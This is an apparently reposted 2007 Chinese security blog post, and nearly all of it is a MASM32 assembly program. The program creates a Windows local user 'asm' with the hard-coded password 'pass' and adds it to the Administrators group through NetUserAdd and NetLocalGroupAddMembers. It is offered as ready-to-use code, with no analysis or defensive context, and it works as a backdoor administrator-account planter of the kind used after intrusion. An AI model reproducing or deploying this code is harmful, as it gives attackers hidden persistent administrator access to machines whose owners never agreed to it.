首页 > 网络安全 > 添加用户的汇编代码

添加用户的汇编代码

2007年9月30日 发表评论 阅读评论
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;code by asm http://www.asm32.cn/
;2007-9-29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    include        windows.inc
    include        user32.inc
    include        kernel32.inc
   include       Netapi32.inc
 
    includelib    user32.lib
    includelib    kernel32.lib
    includelib    Netapi32.lib
 
.data?
oUserInfo USER_INFO_1
oUser LOCALGROUP_MEMBERS_INFO_3
dwErr DWORD ?
.data
szUser dw "a","s","m",0
szPass dw "p","a","s","s",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
.code
start:
      invoke RtlZeroMemory,addr oUserInfo,sizeof oUserInfo
      push offset szUser
      pop oUserInfo.usri1_name
      push offset szPass
      pop oUserInfo.usri1_password
      mov oUserInfo.usri1_priv,USER_PRIV_USER
      mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT
      invoke NetUserAdd,NULL, 1,addr oUserInfo,addr dwErr
      push oUserInfo.usri1_name
      pop oUser.lgrmi3_domainandname
      invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr oUser,1
      invoke ExitProcess,0
      end start

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:添加用户的汇编代码
本文地址:http://www.woyigui.cn/2007/09/30/%e6%b7%bb%e5%8a%a0%e7%94%a8%e6%88%b7%e7%9a%84%e6%b1%87%e7%bc%96%e4%bb%a3%e7%a0%81/

分类: 网络安全 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*